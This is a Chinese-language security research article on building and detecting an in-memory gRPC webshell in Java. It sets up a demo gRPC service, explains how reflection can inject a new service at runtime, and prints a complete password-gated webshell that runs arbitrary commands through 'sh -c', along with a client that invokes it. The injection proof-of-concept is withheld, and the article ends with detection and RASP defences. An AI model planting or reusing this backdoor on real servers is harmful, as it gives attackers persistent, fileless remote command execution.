內存馬的攻防博弈之旅之gRPC內存馬
一. 概述
在內存馬的攻防博弈之旅中,我們對內存馬做過了一定的介紹。做個簡單的總結,內存馬就是在系統動態創建對外提供服務的惡意后門接口,并且整個過程沒有文件落地,全都在內存中執行,故稱之為內存馬。
目前已經有基于Filter,servlet,service,websocket等方式實現的內存馬。本文將介紹利用gRPC協議的新型的內存馬的實現與防御。
二. gRPC
gRPC[1]是由 google開發的一個高性能、通用的開源RPC框架,主要面向移動應用開發且基于HTTP/2協議標準而設計,同時支持大多數流行的編程語言。
官方對gRPC協議的介紹如下:
gRPC 是一種現代開源高性能遠程過程調用 (RPC) 框架,可以在任何環境中運行。它可以通過對負載平衡、跟蹤、健康檢查和身份驗證的可插拔支持,有效地連接數據中心內和數據中心之間的服務。它還適用于分布式計算的最后一英里,將設備、移動應用程序和瀏覽器連接到后端服務。
gRPC協議有著以下的特性:
1. 簡單的服務定義
使用 Protocol Buffers 定義您的服務,這是一種強大的二進制序列化工具集和語言。
2. 快速啟動并擴展
使用一行代碼安裝運行時和開發環境,并使用框架擴展到每秒數百萬次 RPC。
3. 跨語言和平臺工作
以各種語言和平臺為您的服務自動生成慣用的客戶端和服務器存根。
4. 雙向流和集成身份驗證
雙向流和完全集成的可插拔身份驗證與基于 HTTP/2 的傳輸。
gRPC以其高效的性能,在現在微服務架構中越來越流行。既然gRPC協議就是一種對外提供服務的接口,那是否也可以通過gRPC協議來實現一種新型的內存馬呢?
三. gRPC環境搭建
3.1
環境搭建
首先,我們使用java maven環境搭建一個gRPC服務。完整代碼在:
https://github.com/snailll/gRPCDemo
創建一個簡單User服務,gRPC基于
ProtoBuf(Protocol Buffers) [2] 序列化協議開發,我們需要先定義user.proto
syntax = "proto3";package protocol;
option go_package = "protocol";option java_multiple_files = true;option java_package = "com.demo.shell.protocol";
message User { int32 userId = 1; string username = 2; sint32 age = 3; string name = 4;}
service UserService { rpc getUser (User) returns (User) {} rpc getUsers (User) returns (stream User) {} rpc saveUsers (stream User) returns (User) {}}
再實現對應UserService里的方法
public class UserServiceImpl extends UserServiceGrpc.UserServiceImplBase { @Override public void getUser(User request, StreamObserver responseObserver) { System.out.println(request); ... responseObserver.onNext(user); responseObserver.onCompleted(); }
@Override public void getUsers(User request, StreamObserver responseObserver) { ... responseObserver.onNext(user); responseObserver.onNext(user2);
responseObserver.onCompleted(); }
@Override public StreamObserver saveUsers(StreamObserver responseObserver) {
return new StreamObserver() { ... }; }}
啟動服務
public class NsServer { public static void main(String[] args) throws Exception { int port = 8082; Server server = ServerBuilder .forPort(port) .addService(new UserServiceImpl()) .build() .start(); System.out.println("server started, port : " + port); server.awaitTermination(); }}
啟動客戶端
public class NsTest { public static void main(String[] args) {
User user = User.newBuilder() .setUserId(100) .build();
String host = "127.0.0.1"; int port = 8082; ManagedChannel channel = ManagedChannelBuilder.forAddress(host, port).usePlaintext().build(); UserServiceGrpc.UserServiceBlockingStub userServiceBlockingStub = UserServiceGrpc.newBlockingStub(channel); User responseUser = userServiceBlockingStub.getUser(user); System.out.println(responseUser);
Iterator users = userServiceBlockingStub.getUsers(user); while (users.hasNext()) { System.out.println(users.next()); }
channel.shutdown(); }}
四. 內存馬實現方式
4.1
實現原理
需要實現內存馬,我們就需要能夠動態創建對外提供服務的惡意后門接口,通過上面的環境搭建步驟我們可以看到,添加服務是Server的addService方法實現的,那我們就以此為入口,分析服務是如何添加以及運行的,來實現后續的動態添加service實現內存馬的能力。
4.2
關鍵邏輯分析

圖1 gRPC方法請求流程及動態注入
通過分析服務解析調用的流程,整個gRPC服務的注冊及調用流程如圖1所示:
1. 啟動時創建services列表,添加所有的gRPC的接口的定義,并設置為unmodifiable;
2. 請求時判斷調用的接口是否在接口列表中,在列表中就調用對應的實現類。
通過分析server創建以及請求調用的過程,可以得出,如果想要實現動態注入gRPC service,那我們需要滿足以下條件:
1. 能獲取到獲取到services列表;
2. 能創建自定義的service接口;
3. 能夠對unmodifiable的接口做修改,加入創建的service接口
通過分析,在gRPC調用鏈中,我們可以看到一個參數里面的services,methods也正是我們注冊的User服務。通過java的反射機制,就可以獲取到此屬性。

圖2 請求中的services對象
對于已經設置為unmodifiable的services對象,往里面直接put元素會拋出異常。因此我們采取一種討巧的方式,創建一個新的可以修改的對象,將原始內容添加進去,并加入我們需要新加入的Service,最后反射set為新創建的值。
4.3
利用構造
通過java反序列化等漏洞我們可以利用java的反射機制實現動態注入接口,修改services對象注入內存馬接口,因為PoC包含攻擊性暫不提供。 內存馬的簡單內容實現如下:
webshell.proto定義:
syntax = "proto3";package protocol;
option go_package = "protocol";option java_multiple_files = true;option java_package = "com.demo.shell.protocol";
message Webshell {
string pwd = 1; string cmd = 2;}
service WebShellService { rpc exec (Webshell) returns (Webshell) {}}
webshell實現類:
public class WebshellServiceImpl extends WebShellServiceGrpc.WebShellServiceImplBase {
@Override public void exec(Webshell request, StreamObserver responseObserver) { super.exec(request, responseObserver); String pwd = request.getPwd(); String cmd = request.getCmd();
if ("x".equals(pwd)) { String[] cmdStrings = new String[]{"sh", "-c", cmd}; String retString = "";
Process p = null; try { p = Runtime.getRuntime().exec(cmdStrings); int status = p.waitFor(); List<String> processList = new ArrayList<String>();
BufferedReader input = new BufferedReader(new InputStreamReader(p.getInputStream())); String line = ""; while ((line = input.readLine()) != null) { processList.add(line); } input.close();
for (String l : processList) { line += l; } System.out.println(line);
// String result = p.getOutputStream().toString(); System.out.println("=======>" + line); if (status != 0) { System.err.println(String.format("runShellCommand: %s, status: %s", cmd, status)); }
Webshell webshell = Webshell .newBuilder().setCmd(line).build(); responseObserver.onNext(webshell); responseObserver.onCompleted(); } catch (Exception e) { e.printStackTrace(); } finally { if (p != null) { p.destroy(); } } } }}
4.4
利用效果
默認未執行payload前Service只有一個。

圖3 未執行內存馬前的service對象列表
執行payload添加 Service后,webshell Service 已經成功注冊。

圖4 執行內存馬后的service對象列表
client連接webshell,執行命令
public class TestShell { public static void main(String[] args) {
Webshell webshell = Webshell.newBuilder() .setPwd("x") .setCmd("ls -al ") .build();
String host = "127.0.0.1"; int port = 8082; ManagedChannel channel = ManagedChannelBuilder.forAddress(host, port).usePlaintext().build();
WebShellServiceGrpc.WebShellServiceBlockingStub webShellServiceBlockingStub = WebShellServiceGrpc.newBlockingStub(channel); Webshell s = webShellServiceBlockingStub.exec(webshell); System.out.println(s.getCmd()); try { Thread.sleep(5000); } catch (InterruptedException e) { e.printStackTrace(); } channel.shutdown(); }}
可以看到server已經成功執行命令,輸出結果。

圖5 內存馬執行命令成功結果
五. 防御手段
目前內存馬的檢測手段主要有兩種方式,一種是利用基于Instrument的Agent的事后檢測機制,一種是利用RASP的事中檢測機制。
傳統的利用Instrument的Agent檢測機制是對已存在的Servlet,Filter,Listener,Interceptor,websocket對象的class文件反編譯后再做惡意代碼識別。但gRPC類型的內存馬并不在這個列表中,因此是無法檢測的。對gRPC類型的內存馬,可以加入對實現了io.grpc.BindableService接口的類做檢測。
利用RASP技術,可以對動態修改services列表的行為做檢測阻斷,以實現阻止gRPC內存馬的創建。
六. 總結
本文介紹了在新的微服務的場景,隨著gRPC協議的廣泛應用,利用gRPC實現的新型的內存馬技術也給企業的安全防護帶來了新的挑戰。同時隨著技術的不斷的迭代發展,也有可能會有其他新型的內存馬的出現。可以看出內存馬安全攻防的博弈一直都在持續進行中,這趟旅程還沒有到終點。